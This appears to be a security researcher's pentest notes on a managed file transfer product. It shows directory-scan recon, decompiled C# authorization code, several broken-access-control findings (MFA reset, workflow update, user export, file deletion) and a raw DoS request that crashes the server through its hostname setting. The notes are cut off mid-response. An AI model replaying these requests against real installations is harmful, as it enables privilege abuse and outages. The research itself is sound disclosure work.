New Features of MDMFT

  • User mapping used for linking MFT to MFT, MFT to โ€ฆ (apply for all types of user)
  • Credentials
  • Shared space
  • Integrations with SFTP, SMB, SPO
  • Config time for active supervisor
  • Clean install/uninstall
  • Share file with custom group, when use, can not use private my files anymore
  • Export user mapping, user list
  • Authentication sources: two different domains can use the same SSO

Configuration

Checklist

  • Export C# source code
  • Check vulnerable dependencies of Backend
  • Access control
    • File
    • User
    • User Mapping
    • SPO Jobs
  • MFA: 2FA/MFA/OTP Bypass | HackTricks
  • Scope excluded endpoints

Recon

Nginx Config

Scan Nginx configs with SemGrep:

semgrep scan --max-target-bytes 10000000 dynamic.conf -o dynamic.conf.semgrep.log

Findings:

โฏ cat dynamic.conf.semgrep.log 
 
 
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ 3 Code Findings โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
 
    dynamic.conf
    โฏโฑ generic.nginx.security.missing-internal.missing-internal
          This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive.
          The 'internal' directive restricts access to this location to internal requests. Without 'internal',
          an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal'
          directive in this block to limit exposure.
          Details: https://sg.run/Q5px
 
           17โ”† proxy_pass $upstream_uri;
            โ‹ฎโ”†----------------------------------------
           25โ”† proxy_pass $upstream_uri;
            โ‹ฎโ”†----------------------------------------
           32โ”† proxy_pass $upstream_uri;

Can also use yandex/gixy: Nginx configuration static analyzer.

Via the Nginx config files, found out that the internal backend runs on port 8001 and the Nginx server will forward any requests to that port.

Directory Brute-forcing

Scan with Feroxbuster:

feroxbuster -u http://localhost:8010/vault_rest --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt --output vault_rest.ferox.log --proxy 127.0.0.1:8080

Findings:

405      GET       14l      160w     1565c http://localhost:8010/vault_rest/files
401      GET        1l        5w      102c http://localhost:8010/vault_rest/account
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/log
401      GET        1l        5w      102c http://localhost:8010/vault_rest/survey
401      GET        1l        5w      102c http://localhost:8010/vault_rest/jobs
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/accounts
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Files
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/groups
401      GET        1l        5w      102c http://localhost:8010/vault_rest/Account
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/guest
401      GET        1l        5w      102c http://localhost:8010/vault_rest/transfer
401      GET        1l        5w      102c http://localhost:8010/vault_rest/storage
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Log
401      GET        1l        5w      102c http://localhost:8010/vault_rest/VERSION
401      GET        1l        5w      102c http://localhost:8010/vault_rest/license
401      GET        1l        5w      102c http://localhost:8010/vault_rest/Survey
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/folder
401      GET        1l        5w      102c http://localhost:8010/vault_rest/Jobs
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Folder
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/scan
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/FILES
401      GET        1l        5w      102c http://localhost:8010/vault_rest/certificates
401      GET        1l        5w      102c http://localhost:8010/vault_rest/version
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Accounts
401      GET        1l        5w      102c http://localhost:8010/vault_rest/Storage
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/folders
401      GET        1l        5w      102c http://localhost:8010/vault_rest/LICENSE
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Groups
502      GET        7l       11w      150c http://localhost:8010/vault_rest/greetings
401      GET        1l        5w      102c http://localhost:8010/vault_rest/Transfer
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/certificate
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Guest
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/LOG
401      GET        1l        5w      102c http://localhost:8010/vault_rest/authenticate
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/token
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Certificate
401      GET        1l        5w      102c http://localhost:8010/vault_rest/License
502      GET        7l       11w      150c http://localhost:8010/vault_rest/greeting
502      GET        7l       11w      150c http://localhost:8010/vault_rest/greeting-cards
401      GET        1l        5w      102c http://localhost:8010/vault_rest/TRANSFER
401      GET        1l        5w      102c http://localhost:8010/vault_rest/Version
401      GET        1l        5w      102c http://localhost:8010/vault_rest/Certificates
502      GET        7l       11w      150c http://localhost:8010/vault_rest/greetingcards
401      GET        1l        5w      102c http://localhost:8010/vault_rest/Authenticate
401      GET        1l        5w      102c http://localhost:8010/vault_rest/JOBS
400      GET        6l       26w      324c http://localhost:8010/vault_rest/error%1F_log
401      GET        1l        5w      102c http://localhost:8010/vault_rest/permission

Those error endpoints need API key, specified in the Authorization header:

Authorization: Bearer FmiMjisoE300BwoRSqQ9Sa5q1dfd0l

Note

The API key can be created in the Settings โ†’ Security section. Remember to set a long expire time.

Seealso

Rescan with API key:

feroxbuster -u http://localhost:8010/vault_rest --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt --output vault_rest.with-apikey.ferox.log --proxy 127.0.0.1:8080 -H 'Authorization: Bearer FmiMjisoE300BwoRSqQ9Sa5q1dfd0l'

Findings:

405      GET       14l      160w     1565c http://localhost:8010/vault_rest/files
200      GET        1l        3w      769c http://localhost:8010/vault_rest/account
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/log
403      GET        1l        7w      130c http://localhost:8010/vault_rest/survey
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/accounts
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Files
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/groups
200      GET        1l        3w      769c http://localhost:8010/vault_rest/Account
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/guest
200      GET        1l        1w       57c http://localhost:8010/vault_rest/storage
200      GET        1l        1w      276c http://localhost:8010/vault_rest/transfer
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Log
200      GET        1l        1w       58c http://localhost:8010/vault_rest/VERSION
200      GET        1l        1w       62c http://localhost:8010/vault_rest/license
403      GET        1l        7w      130c http://localhost:8010/vault_rest/Survey
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/folder
500      GET        0l        0w        0c http://localhost:8010/vault_rest/jobs
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Folder
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/scan
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/FILES
200      GET        1l        1w      176c http://localhost:8010/vault_rest/certificates
200      GET        1l        1w       58c http://localhost:8010/vault_rest/version
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Accounts
200      GET        1l        1w       57c http://localhost:8010/vault_rest/Storage
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/folders
500      GET        0l        0w        0c http://localhost:8010/vault_rest/Jobs
200      GET        1l        1w       62c http://localhost:8010/vault_rest/LICENSE
502      GET        7l       11w      150c http://localhost:8010/vault_rest/greetings
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Groups
200      GET        1l        1w      276c http://localhost:8010/vault_rest/Transfer
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/certificate
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Guest
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/LOG
500      GET        0l        0w        0c http://localhost:8010/vault_rest/authenticate
502      GET        7l       11w      150c http://localhost:8010/vault_rest/greeting
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/token
405      GET       14l      160w     1565c http://localhost:8010/vault_rest/Certificate
200      GET        1l        1w       62c http://localhost:8010/vault_rest/License
502      GET        7l       11w      150c http://localhost:8010/vault_rest/greeting-cards
200      GET        1l        1w      276c http://localhost:8010/vault_rest/TRANSFER
200      GET        1l        1w       58c http://localhost:8010/vault_rest/Version
200      GET        1l        1w      176c http://localhost:8010/vault_rest/Certificates
502      GET        7l       11w      150c http://localhost:8010/vault_rest/greetingcards
500      GET        0l        0w        0c http://localhost:8010/vault_rest/Authenticate
500      GET        0l        0w        0c http://localhost:8010/vault_rest/JOBS
400      GET        6l       26w      324c http://localhost:8010/vault_rest/error%1F_log
200      GET        1l        1w     3525c http://localhost:8010/vault_rest/permission

Scan with Feroxbuster for sft_rest endpoint:

feroxbuster -u http://localhost:8010/sft_rest --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt --output sft_rest.ferox.log --proxy 127.0.0.1:8080

Findings:

405      GET       14l      160w     1565c http://localhost:8010/sft_rest/files
401      GET        1l        5w      102c http://localhost:8010/sft_rest/account
401      GET        1l        5w      102c http://localhost:8010/sft_rest/license
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/log
401      GET        1l        5w      102c http://localhost:8010/sft_rest/survey
401      GET        1l        5w      102c http://localhost:8010/sft_rest/jobs
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/groups
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/accounts
401      GET        1l        5w      102c http://localhost:8010/sft_rest/version
401      GET        1l        5w      102c http://localhost:8010/sft_rest/transfer
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/guest
401      GET        1l        5w      102c http://localhost:8010/sft_rest/storage
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/folder
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/scan
401      GET        1l        5w      102c http://localhost:8010/sft_rest/certificates
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/folders
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/certificate
401      GET        1l        5w      102c http://localhost:8010/sft_rest/authenticate
502      GET        7l       11w      150c http://localhost:8010/sft_rest/greetings
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/token
502      GET        7l       11w      150c http://localhost:8010/sft_rest/greeting
404      GET        0l        0w        0c http://localhost:8010/sft_rest/greet
401      GET        1l        5w      102c http://localhost:8010/sft_rest/permission
502      GET        7l       11w      150c http://localhost:8010/sft_rest/greetingcards
502      GET        7l       11w      150c http://localhost:8010/sft_rest/greeting-cards
200      GET        1l        1w       89c http://localhost:8010/sft_rest/login_info

With API key:

feroxbuster -u http://localhost:8010/sft_rest --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt --output sft_rest.with-apikey.ferox.log --proxy 127.0.0.1:8080 -H 'Authorization: Bearer FmiMjisoE300BwoRSqQ9Sa5q1dfd0l'

Findings:

405      GET       14l      160w     1565c http://localhost:8010/sft_rest/files
200      GET        1l        3w      769c http://localhost:8010/sft_rest/account
200      GET        1l        1w       62c http://localhost:8010/sft_rest/license
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/log
403      GET        1l        7w      130c http://localhost:8010/sft_rest/survey
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/groups
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/accounts
200      GET        1l        1w       58c http://localhost:8010/sft_rest/version
200      GET        1l        1w      276c http://localhost:8010/sft_rest/transfer
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/guest
200      GET        1l        1w       57c http://localhost:8010/sft_rest/storage
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/folder
500      GET        0l        0w        0c http://localhost:8010/sft_rest/jobs
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/scan
200      GET        1l        1w      176c http://localhost:8010/sft_rest/certificates
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/folders
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/certificate
500      GET        0l        0w        0c http://localhost:8010/sft_rest/authenticate
502      GET        7l       11w      150c http://localhost:8010/sft_rest/greetings
405      GET       14l      160w     1565c http://localhost:8010/sft_rest/token
502      GET        7l       11w      150c http://localhost:8010/sft_rest/greeting
404      GET        0l        0w        0c http://localhost:8010/sft_rest/greet
200      GET        1l        1w     3525c http://localhost:8010/sft_rest/permission
502      GET        7l       11w      150c http://localhost:8010/sft_rest/greetingcards
502      GET        7l       11w      150c http://localhost:8010/sft_rest/greeting-cards
200      GET        1l        1w       88c http://localhost:8010/sft_rest/login_info

Source Code

The application escapes special characters in filter condition of a LDAP query:

// LdapFilterCondition.cs
public string ToLdapSyntax()
{
  string str = LdapFilterCondition.EscapeLdapQuerySyntax(this._value);
  if (!this._exactMatch)
	str = string.IsNullOrWhiteSpace(str) ? "*" : "*" + str + "*";
  return "(" + this._attributeName + this._compareOperator.ToLdapSyntax() + str + ")";
}
 
private static string EscapeLdapQuerySyntax(string value)
{
  if (string.IsNullOrWhiteSpace(value))
	return value;
  string str = value;
  string[] strArray = new string[12]
  {
	"\\",
	"(",
	")",
	"#",
	"<",
	">",
	",",
	"+",
	";",
	"\"",
	" ",
	"*"
  };
  foreach (string oldValue in strArray)
	str = str.Replace(oldValue, string.Format("\\{0:X2}", (object) Convert.ToInt32(oldValue[0])));
  return str;
}

The application will invoke the ToLdapSyntax() function like this:

// ActiveDirectoryCommunicationChannel.cs
FindPaginatedGroupsResult paginatedGroupsResult = await this.QueryPaginatedGroupSnapshots(this._ldapFilterConditionBuilder.GetAllGroupsFilter(searchTerm).ToLdapSyntax(), SearchScope.Subtree, queryOffset, cancellationToken).ConfigureAwait(false);

Where the GetAllGroupsFilter() function is used for building the filter condition:

// AdFilterConditionBuilder.cs
public ILdapFilterCondition GetAllGroupsFilter(string searchTerm = null)
{
  return (ILdapFilterCondition) new LdapCompoundFilterCondition(LdapCombineOperator.And, new ILdapFilterCondition[3]
  {
	(ILdapFilterCondition) new LdapFilterCondition(LdapCompareOperator.Equal, "objectCategory", "group"),
	(ILdapFilterCondition) new LdapFilterCondition(LdapCompareOperator.Equal, "objectClass", this.DirectoryPropertyNames.GroupObjectClass),
	(ILdapFilterCondition) new LdapFilterCondition(LdapCompareOperator.Equal, "cn", searchTerm, false)
  });
}

About how the application implements access control:

Some functions in RestHost.cs will invoke ValidateTokenAuthorization() function to validate the token:

[HandleExceptions("UpdateAccountWorkflows")]
public async Task<UpdateAccountResult> UpdateAccountWorkflows(Stream body)
{
  IRestRequest restRequest = this.GetRestRequest();
  string ipAddress = restRequest.ClientIpAddress;
  IUser requestUser = await this.ValidateTokenAuthorization(restRequest, "Account.Update", this._cts.Token).ConfigureAwait(false);
  UpdateAccountWorkflowsParameters workflowParams = this.DeserializeRequestBodyOrThrow<UpdateAccountWorkflowsParameters>(body);
  UpdateAccountResult updateAccountResult = this.HandleAccountUpdateResult(await this._apiFactory.CreateUpdateAccountApi().UpdateAccountWorkflows(ipAddress, requestUser, workflowParams, this._cts.Token).ConfigureAwait(false));
  ipAddress = (string) null;
  return updateAccountResult;
}

The function definition:

private async Task<IUser> ValidateTokenAuthorization(
  IRestRequest request,
  string resource,
  CancellationToken cancellationToken)
{
  return await this.ValidateTokenAuthorization(request.Token, resource, request.ImpersonateAs, request.OwnerList, cancellationToken).ConfigureAwait(false);
}

The above function will call the following function:

private async Task<IUser> ValidateTokenAuthorization(
  string token,
  string resource,
  string impersonatedUserName,
  string ownerList,
  CancellationToken cancellationToken)
{
  if (string.IsNullOrEmpty(token))
  {
	this._log.Error((object) "Cannot authorize access to a resource using a [null] token");
	RestHost.AddLogoutCookie(RestHost.GetSystemWebOpContext());
	throw RestHost.GetThrowError(HttpStatusCode.Unauthorized, this._localization.Api().AuthenticationUnauthorized, UiMessageKey.AuthUnauthorized);
  }
  if (string.IsNullOrEmpty(resource))
  {
	this._log.Error((object) "Cannot authorize access to a [null] resource");
	throw RestHost.GetThrowError(HttpStatusCode.Forbidden, this._localization.Api().UnauthorizedResource, UiMessageKey.AuthUnauthorizedResource);
  }
  AuthorizationResult authorization = await this._apiFactory.CreateAuthorizationApi().AuthorizeToken(token, resource, impersonatedUserName, ownerList, cancellationToken).ConfigureAwait(false);
  RestHost.AddGlobalsCookie(token, authorization);
  return this.ValidateAuthorization(authorization, token, resource);
}

The AuthorizeToken() then invoke the Authorize() function:

private async Task<AuthorizationResult> Authorize(IUser user, IAuthenticationToken authToken, string area, CancellationToken cancellationToken)
{
	if (authToken.IsExpired(DateTimeUtil.GetCurrentDateUtc))
	{
		return Result(AuthorizationState.Unauthorized, user);
	}
	if (!user.IsEnabled())
	{
		return Result(AuthorizationState.Unauthorized, user);
	}
	return Result((await _roleBasedAccessController.AllowUser(user, area, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)) ? AuthorizationState.Authorized : AuthorizationState.Forbidden, user, authToken.Expires);
}

The AllowUser() function of RoleBasedAccessController:

public Task<bool> AllowUser(IUser user, string area, CancellationToken cancellationToken = default (CancellationToken))
{
  return this.AllowUser(user, (IEnumerable<string>) new string[1]
  {
	area
  }, cancellationToken);
}
 
public async Task<bool> AllowUser(
  IUser user,
  IEnumerable<string> areas,
  CancellationToken cancellationToken = default (CancellationToken))
{
  cancellationToken.ThrowIfCancellationRequested();
  IReadOnlyCollection<IPermission> permissions = await this._providerFactory.PermissionProvider.GetByAreas(areas, cancellationToken).ConfigureAwait(false);
  return await this.AllowUser(user, permissions, cancellationToken).ConfigureAwait(false);
}

After that, the GetByAreas() function will query in the database for getting the permissions associated with the requested area:

public async Task<IReadOnlyCollection<IPermission>> GetByAreas(
  IEnumerable<string> areas,
  CancellationToken cancellationToken = default (CancellationToken))
{
  cancellationToken.ThrowIfCancellationRequested();
  return await this.GetByFilterCondition((IFilterCondition) new CompoundFilterCondition(areas.Select<string, StringCompareFilterCondition>((System.Func<string, StringCompareFilterCondition>) (area => new StringCompareFilterCondition(nameof (area), area, CompareOperator.Equal))).Cast<IFilterCondition>().ToArray<IFilterCondition>(), CombineOperator.Or), cancellationToken).ConfigureAwait(false);
}
 
private async Task<IReadOnlyCollection<IPermission>> GetByFilterCondition(
  IFilterCondition filterCondition,
  CancellationToken cancellationToken = default (CancellationToken))
{
  PermissionProvider permissionProvider = this;
  cancellationToken.ThrowIfCancellationRequested();
  IReadOnlyCollection<IPermission> byFilterCondition;
  try
  {
	SqlCommandBase sqlCommandBase = permissionProvider.DataAccessProvider.PrepareStoredProcedure("vaultPermissionSelectByFilterCondition");
	sqlCommandBase.AddParam("filterConditions", DbType.String, (object) filterCondition.Sql);
	byFilterCondition = (IReadOnlyCollection<IPermission>) await sqlCommandBase.ExecuteReaderToAsync<IPermission>((Func<IPermission>) (() => (IPermission) new Permission()), cancellationToken).ConfigureAwait(false);
  }
  catch (DataAccessException ex)
  {
	throw new FailedToExecuteSpException("vaultPermissionSelectByFilterCondition", (Exception) ex);
  }
  return byFilterCondition;
}

After obtaining the list of permissions for the requested area, the GetByUser() method is invoked to retrieve the userโ€™s permissions and verify whether they have access to the specified area:

public async Task<bool> AllowUser(
  IUser user,
  IReadOnlyCollection<IPermission> permissions,
  CancellationToken cancellationToken = default (CancellationToken))
{
  cancellationToken.ThrowIfCancellationRequested();
  bool objectFromCache = await MemoryCacheUtil.GetObjectFromCache<Task<bool>>("Licenser.IsUnlicensed", TimeSpan.FromMinutes(1.0), (Func<Task<bool>>) (async () => this._licenser.IsUnlicensed(await this._providerFactory.ConfigProvider.GetLicenseConfig(cancellationToken).ConfigureAwait(false))));
  bool isLicensingOk = user.Status.IsEnabled() && !objectFromCache;
  return !permissions.Any<IPermission>((Func<IPermission, bool>) (permission => !isLicensingOk && !RoleBasedAccessController.AppliesIfUnlicensed(permission.Area))) && permissions.IsSubsetOf<IPermission>(await this._providerFactory.PermissionProvider.GetByUser(user, cancellationToken).ConfigureAwait(false), PermissionByIdComparer.Instance);
}

Password hash is constructed by concatenating plain text password with a salt (which is a GUID) before hashing with SHA256:

string text = Security.GenerateSalt();
string passwordHash = _hashAlgorithm.ComputeHash(createAccountParameters.Password + text);

Example with Pentest@1337 as a password and 970996a7-a092-4100-902a-e7998f2c15fd as a salt:

Vulnerabilities

CVEs

Newtonsoftโ€™s CVE is prevented:

PDF.jsโ€™s CVE:

PoCs:

Broken Access Control

Info

The difference between regular roles and โ€œThirdPartyโ€ roles is that โ€œThirdPartyโ€ roles lack the Account.SelfUpdate permission.

Export User List

User with โ€œUserโ€ role has no permission to export users:

However, they still can:

We can save exported file from Wireshark:

Password is provided via the archivepwd header:

Attacker only has usernames and emails:

The source code requests the Account.Info area, which is granted for almost everyone:

[HandleExceptions("Export Users")]
public async Task<Stream> ExportUsers()
{
  ISystemWebOperationContext systemWebOpContext = RestHost.GetSystemWebOpContext();
  systemWebOpContext.OutgoingResponse.ContentType = "application/x-zip-compressed";
  systemWebOpContext.OutgoingResponse.Headers.Add("Content-Disposition", "attachment; filename=metadefender-managed-file-transfer-user-list.zip");
  systemWebOpContext.OutgoingResponse.Headers.Add("filename", "metadefender-managed-file-transfer-user-list.zip");
  return await this.ProxyRequestToNext("Account.Info").ConfigureAwait(false);
}

View File Status

Admin user can view status of his own file with a known file ID:

And a normal user can not view status of that file because he does not own it:

However, when the file is deleted permanently by the Admin:

The normal user can view status of that file:

PoC video:

Differences between two JSONs:

Update Workflow

Any user can update workflow of other users:

User with ID 1 is local admin by default:

Result:

The source code requests for Account.Update, which is granted for almost every user:

[HandleExceptions("UpdateAccountWorkflows")]
public async Task<UpdateAccountResult> UpdateAccountWorkflows(Stream body)
{
  IRestRequest restRequest = this.GetRestRequest();
  string ipAddress = restRequest.ClientIpAddress;
  IUser requestUser = await this.ValidateTokenAuthorization(restRequest, "Account.Update", this._cts.Token).ConfigureAwait(false);
  UpdateAccountWorkflowsParameters workflowParams = this.DeserializeRequestBodyOrThrow<UpdateAccountWorkflowsParameters>(body);
  UpdateAccountResult updateAccountResult = this.HandleAccountUpdateResult(await this._apiFactory.CreateUpdateAccountApi().UpdateAccountWorkflows(ipAddress, requestUser, workflowParams, this._cts.Token).ConfigureAwait(false));
  ipAddress = (string) null;
  return updateAccountResult;
}

There are some functions that have "Account.Update" area such as "UpdateAccount":

[HandleExceptions("UpdateAccount")]
public async Task<UpdateAccountResult> UpdateAccount(string userId, Stream body)
{
  IRestRequest restRequest = this.GetRestRequest();
  string ipAddress = restRequest.ClientIpAddress;
  IUser requestUser = await this.ValidateTokenAuthorization(restRequest, "Account.Update", this._cts.Token).ConfigureAwait(false);
  UpdateAccountParameters account = this.DeserializeRequestBodyOrThrow<UpdateAccountParameters>(body);
  long result;
  if (!long.TryParse(userId, out result))
	throw new WebFaultException(HttpStatusCode.BadRequest);
  UpdateAccountResult updateAccountResult = this.HandleAccountUpdateResult(await this._apiFactory.CreateUpdateAccountApi().UpdateUser(ipAddress, requestUser, result, account, this._cts.Token).ConfigureAwait(false));
  ipAddress = (string) null;
  return updateAccountResult;
}

However, the logic in UpdateAnotherAccount() function, which is called by UpdateUser() function, has the following check:

if (!userStateReader.CanBeUpdatedBy(requestUser) || userStateReader.IsManaged() || requestUser.IsHelpdeskAdministrator && (account.Role == "Administrator" || account.Role == "ReadOnlyAdministrator"))
        return this.UpdateUserUnauthorizedToUpdateAccountResult();

The CanBeUpdatedBy() function:

public bool CanBeUpdatedBy(IUser requestUser)
{
	if (!IsTheSameUser(requestUser) && RequestUserIsHigherThanCurrentUser(requestUser) && !IsUserRoleDisabled().GetAwaiter().GetResult() && _user.Status != UserStatus.Deleted)
	{
		return _user.Status != UserStatus.Unlicensed;
	}
	return false;
}

The RequestUserIsHigherThanCurrentUser() function:

private bool RequestUserIsHigherThanCurrentUser(IUser requestUser)
{
	if (requestUser.IsAdministrator)
	{
		return true;
	}
	if (requestUser.IsHelpdeskAdministrator)
	{
		if (!_user.IsAdministrator)
		{
			return !_user.IsReadOnlyAdministrator;
		}
		return false;
	}
	if (_user.IsGuest && IsOwnerForGuest(requestUser))
	{
		return true;
	}
	if (_user.IsExternalUser)
	{
		return IsOwnerForExternalUser(requestUser);
	}
	return false;
}

Similarly, there is a function named CanChangeStatusBy() that is used for changing user status.

Reset MFA

Similar with the previous vulnerability pattern:

Source code:

[HandleExceptions("Reset User's MFA setup")]
public async Task<ResetUserMfaResult> ResetUserMfa(string userId)
{
  IRestRequest restRequest = this.GetRestRequest();
  string ipAddress = restRequest.ClientIpAddress;
  IUser user = await this.ValidateTokenAuthorization(restRequest, "Account.Update", this._cts.Token).ConfigureAwait(false);
  long result;
  if (!long.TryParse(userId, out result))
	throw new WebFaultException(HttpStatusCode.BadRequest);
  ResetUserMfaResult resetUserMfaResult1 = await this._apiFactory.CreateAuthApi().ResetUserMfa(result, ipAddress, this._cts.Token).ConfigureAwait(false);
  switch (resetUserMfaResult1.Result)
  {
	case ResetUserMfaResult.ResultType.Success:
	  ResetUserMfaResult resetUserMfaResult2 = resetUserMfaResult1;
	  ipAddress = (string) null;
	  return resetUserMfaResult2;
	case ResetUserMfaResult.ResultType.ErrorActiveSecretKeyNotFound:
	  throw Thrower.GetThrowError(HttpStatusCode.BadRequest, resetUserMfaResult1.Message, resetUserMfaResult1.UiMessageKey);
	case ResetUserMfaResult.ResultType.ErrorUserNotFound:
	  throw Thrower.GetThrowError(HttpStatusCode.BadRequest, resetUserMfaResult1.Message, resetUserMfaResult1.UiMessageKey);
	case ResetUserMfaResult.ResultType.ErrorMfaDisabled:
	  throw Thrower.GetThrowError(HttpStatusCode.BadRequest, resetUserMfaResult1.Message, resetUserMfaResult1.UiMessageKey);
	default:
	  throw new ArgumentOutOfRangeException("Unexpected result type: " + resetUserMfaResult1.Result.ToString());
  }
}

The ResetUserMfa() function does not have any validation.

Read/Update User Mapping

Helpdesk admin can not read/update user mapping of other admins via the UI:

However, helpdesk admin still can send requests directly to the server.

Read:

Add:

Update:

Delete:

The reason is that helpdesk admin has permissions to do those actions:

// opswat.vault.sql.Sql.MsSql.Tenant.Update.355.sql
INSERT INTO [vaultAccessRolePermissions]
    ([roleId], [permissionArea])
    VALUES (@administratorId, 'Alteregos.Read'),
           (@administratorId, 'Alteregos.Write'),
 
           (@thirdPartyAdministratorId, 'Alteregos.Read'),
           (@thirdPartyAdministratorId, 'Alteregos.Write'),
 
           (@helpdeskAdministratorId, 'Alteregos.Read'),
           (@helpdeskAdministratorId, 'Alteregos.Write'),
 
           (@thirdPartyHelpdeskAdministratorId, 'Alteregos.Read'),
           (@thirdPartyHelpdeskAdministratorId, 'Alteregos.Write'),
 
           (@readOnlyAdministratorId, 'Alteregos.Read'),
 
           (@thirdPartyReadOnlyAdministratorId, 'Alteregos.Read'),
 
           (@auditorId, 'Alteregos.Read'),
 
           (@thirdPartyAuditorId, 'Alteregos.Read');
GO

Permanent Delete

A file of admin:

Helpdesk admin can permanently delete files with known IDs even though he can not view processing history.

The flaw is in this code:

public bool CanFileBeDeletedBy(IUser user)
{
	if (!IsAdminSafe(user) && !IsHelpdeskAdminSafe(user))
	{
		if (FileIsOwnedBy(user))
		{
			return DoesAdminAllowUsersToDeleteFile();
		}
		return false;
	}
	return true;
}

Where IsHelpdeskAdminSafe(user) is true.

Alterego

Readonly and helpdesk roles can read and export alteregos, although they canโ€™t do on the UI.

Moreover, helpdesk role can also modify alteregos of any user, including the default admin.

Read Supervisors

Everyone can read list of supervisors (regular/restricted) even though some users can not do it on the UI:

Most of the supervisors are AD users.

The permission area is Settings.Supervisor.Global.Read.

DoS

Update Hostname in Security Settings

POST /vault_rest/settings/security HTTP/1.1
Host: localhost:8010
Content-Length: 344
sec-ch-ua-platform: "Windows"
Cache-control: max-age=0, private, no-cache, no-store, must-revalidate
Accept-Language: en-US,en;q=0.9
Pragma: no-cache
sec-ch-ua: "Chromium";v="131", "Not_A Brand";v="24"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: http://localhost:8010
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8010/settings/security/server
Accept-Encoding: gzip, deflate, br
Cookie: globals=eyJjdXJyZW50VXNlciI6eyJhdXRoIjp7ImV4cGlyZXMiOiJGcmksIDMxIERlYyA5OTk5IDIzOjU5OjU5IEdNVCIsInRva2VuIjoiZGRvWXhGcWVoVE5DZTFTRWt3eGo2dWZoMHpYbGEyIn19fQ==
Connection: keep-alive
 
{"is_enabled":false,"certificate_guid":null,"host":"le11-d9448/","port":8010,"tls_1_3":false,"tls_1_2":false,"rate_limit_settings":{"is_rate_limit_enabled":true,"shared_memory_size":10,"rate":10,"burst_size":20,"no_delay":true},"redirect_settings":{"is_enabled":false,"port":80},"tls_1_1":false,"tls_1_0":false}

The injection point is the host field. If the server responds with a status code of 200, it will crash shortly afterward because the hostname, while URL-valid, cannot be used to connect to the database.

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Dec 2024 03:04:34 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
Set-Cookie: globals=eyJjdXJyZW50VXNlciI6eyJhdXRoIjp7ImV4cGlyZXMiOiJGcmksIDMxIERlYyA5OTk5IDIzOjU5OjU5IEdNVCIsInRva2VuIjoiZGRvWXhGcWVoVE5DZTFTRWt3eGo2dWZoMHpYbGEyIn19fQ==;Expires=Fri, 31 Dec 9999 23:59:59 GMT;Path=/;HttpOnly;SameSite=Strict;,globals=e30=;Expires=Mon, 01 Jan 0001 00:00:00 GMT;Path=/;
Content-Security-Policy: frame-ancestors none;
X-Frame-Options: DENY
Cache-Control: max-age=60, must-revalidate
Content-Length: 117
 
{"message":null,"ui_message_key":null,"redirect_url":"http:\/\/

